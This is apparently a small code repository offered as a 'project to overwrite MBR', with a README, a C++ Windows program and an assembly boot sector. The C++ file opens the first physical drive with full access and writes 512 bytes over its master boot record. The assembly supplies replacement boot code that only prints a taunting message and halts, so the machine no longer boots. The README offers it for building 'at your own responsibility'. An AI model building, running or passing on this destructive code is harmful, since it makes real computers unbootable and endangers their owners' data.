├── README.md
├── Source.cpp
└── mbr-source.asm


/README.md:
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1 | # Overwrite-MBR (16/02/2019)
2 | 
3 | This is the full Project to overwrite MBR. If you ask its possible overwrite the message of MBR without visual studio (USE HXD), ~~"you can open my project, and overwrite your cutom message using hexadecimal editor like Hiew"~~
4 | Bulid instructions on my channel. Your own responsability.
5 | 
6 | 12/04/2021 My apologies, i was dumb and i couldn't write properly in english, i guess now it is fixed, and well, after use *Hiew*, instead use HxD, that's a trash program lol, and also the video itself sucks, i didn't know how to edit... But i think it is well explained.
7 | 


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/Source.cpp:
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 1 | #include <windows.h>
 2 | 
 3 | // Edit 07/02/2020, chaneged the name file to "Source", and added the cpp extension.
 4 | 
 5 | // Edit 01/01/2022, fixed shitty grammar from past
 6 | 
 7 | const unsigned char MasterBootRecord[] = { /*your hex data goes here*/ };
 8 | 
 9 | int CALLBACK WinMain(
10 |     HINSTANCE hInstance, HINSTANCE hPrevInstance,
11 |     LPSTR     lpCmdLine, int       nCmdShow
12 | )
13 | {
14 |     // just open a handle to PhysicalDrive0, and we write our custom bootloader
15 |     // https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilew
16 |     DWORD dwBytesWritten;
17 |     HANDLE hDevice = CreateFileW(
18 |         L"\\\\.\\PhysicalDrive0", GENERIC_ALL,
19 |         FILE_SHARE_READ | FILE_SHARE_WRITE, 0,
20 |         OPEN_EXISTING, 0, 0);
21 | 
22 |     WriteFile(hDevice, MasterBootRecord, 512, &dwBytesWritten, 0); // write the file to the handle
23 |     CloseHandle(hDevice); // close the handle
24 | }
25 | 


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/mbr-source.asm:
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 1 | BITS    16
 2 | ORG     0x7c00
 3 | jmp start
 4 | 
 5 | start:
 6 |         call clear_screen
 7 |         mov ax,cs
 8 |         mov ds,ax
 9 |         mov si,msg
10 | 
11 |         call print
12 | 
13 | print:
14 |         push ax
15 |         cld
16 | next:
17 |         mov al,[si]
18 |         cmp al,0
19 |         je done
20 |         call printchar
21 |         inc si
22 |         jmp next
23 | done:
24 |         jmp $
25 | 
26 | printchar:
27 |         mov ah,0x0e
28 |         int 0x10
29 |         ret
30 | 
31 | clear_screen:
32 |         mov ah, 0x07
33 |         mov al, 0x00
34 |         mov bh, 0x09 
35 |         mov cx, 0x0000 
36 |         mov dx, 0x184f
37 |         int 0x10
38 |         ret
39 | 
40 | msg:            db        "Okay Here is my tut of internet.",13,10,"so here you can se my project operative 100%.",13,10,"Yeah, MBR Overwrited :D", 0
41 | times 510 - ($-$$) db 0
42 | dw        0xaa55
43 | 


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